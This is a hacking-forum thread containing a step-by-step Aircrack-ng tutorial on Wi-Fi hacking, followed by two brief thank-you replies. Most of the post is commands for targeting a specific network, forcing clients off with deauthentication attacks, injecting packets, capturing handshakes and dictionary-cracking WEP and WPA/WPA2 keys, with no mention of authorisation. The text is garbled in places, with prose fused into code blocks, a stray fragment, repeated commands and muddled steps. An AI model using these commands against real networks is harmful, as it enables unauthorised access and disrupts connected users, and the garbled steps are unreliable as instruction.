

Forum:[Hack Forums](#)

Thread: [Aircrack-ng Tutorial: Step-by-Step Guide to Wi-Fi Hacking with Kali Linux](#)

Sage - May 28, 2023, 11:05 am

Introduction:

Welcome to the Aircrack-ng tutorial, where we will explore the powerful capabilities of this tool for Wi-Fi hacking and network security testing. Aircrack-ng is a suite of tools that allows us to capture, analyze, and crack wireless network passwords. This tutorial will provide detailed step-by-step instructions, real-world examples, and shell commands for each section.

Section 1: Installation and Setup

Installing Aircrack-ng on Kali Linux:

Open a terminal window and update the system:

```
Code sudo apt update
sudo apt upgradeInstall the required dependencies:
```

```
Code sudo apt install build-essential libssl-dev libnl-3-dev libnl-genl-3-dev ethtoolDownload and
install Aircrack-ng:
```

```
Code wget https://download.aircrack-ng.org/aircrack-ng-1.6.tar.gz
tar -zxvf aircrack-ng-1.6.tar.gz
cd aircrack-ng-1.6
make
sudo make installVerify the installation and check tool versions:
```

```
Code aircrack-ng --version
airodump-ng --versionPreparing the Wireless Interface:
```

Enable monitor mode on the wireless interface:

```
Code sudo airmon-ng start wlan0Verify the interface status and capabilities:
```

```
Code iwconfigCheck for nearby wireless networks:
```

```
Code sudo airodump-ng wlan0monSection 2: Capturing Packets
```

Scanning for Wi-Fi Networks:

Use the Airodump-ng tool to scan for nearby Wi-Fi networks:

```
Code sudo airodump-ng wlan0monFilter the results to target a specific network:
```

Code `sudo airodump-ng -c channel_number --bssid target_bssid -w output_file wlan0mon` Analyze the captured information, including BSSID, ESSID, and encryption type:

Code `aircrack-ng output_file.cap` Capturing Packets:

Select a target network for packet capture:

Code `sudo airodump-ng -c channel_number --bssid target_bssid -w output_file wlan0mon` Capture packets and save them to a file:

Code `sudo airodump-ng -c channel_number --bssid target_bssid -w output_file wlan0mon` Monitor network traffic and analyze captured packets:

Code `sudo airodump-ng -c channel_number --bssid target_bssid wlan0mon` Section 3: Cracking WEP Encryption

Cracking WEP Keys:

Prepare captured packets for WEP key cracking:

Code `aircrack-ng -b target_bssid -w wordlist_file output_file.cap` Launch Aircrack-ng with the captured file:

Code `aircrack-ng output_file.cap` Use a dictionary attack to crack the WEP key:

Code `aircrack-ng -w wordlist_file -b target_bssid output_file.cap` Section 4: Cracking WPA/WPA2 Encryption

Capturing Handshake:

Identify a target WPA/WPA2 network for the handshake capture:

Code `sudo airodump-ng -c channel_number --bssid target_bssid -w output_file wlan0mon` Capture the WPA/WPA2 handshake using Airodump-ng:

Code `sudo airodump-ng -c channel_number --bssid target_bssid -w output_file --write-interval 1 wlan0mon` Cracking WPA/WPA2 Passwords:

Use the captured handshake file for password cracking:

Code `aircrack-ng -w wordlist_file -b target_bssid output_file.cap` Create or download a suitable wordlist for the dictionary attack:

Code arduino

Code `sudo wget https://example.com/wordlist.txt -O wordlist_file` Run Aircrack-ng with the handshake and wordlist to crack the password:

Code `aircrack-ng -w wordlist_file -b target_bssid output_file.cap` Section 5: Testing Network Security

Testing WEP Vulnerabilities:

Utilize the Chop-Chop attack to inject packets into the network:

Code `aireplay-ng -4 -b target_bssid -h your_mac_address wlan0mon` Crack the WEP key using statistical analysis attacks:

Code `aircrack-ng -b target_bssid -z output_file.cap` Testing WPA/WPA2 Vulnerabilities:

Perform deauthentication attacks to force clients to reconnect:

Code `aireplay-ng -0 10 -a target_bssid -c client_mac_address wlan0mon` Conduct a dictionary attack against the WPA/WPA2 handshake:

Code `aircrack-ng -w wordlist_file -b target_bssid output_file.cap`

cptAxe - May 30, 2023, 4:04 am

Thanks for sharing this.

SIM-5382664 - July 2, 2023, 9:34 am

thanks man appreciate it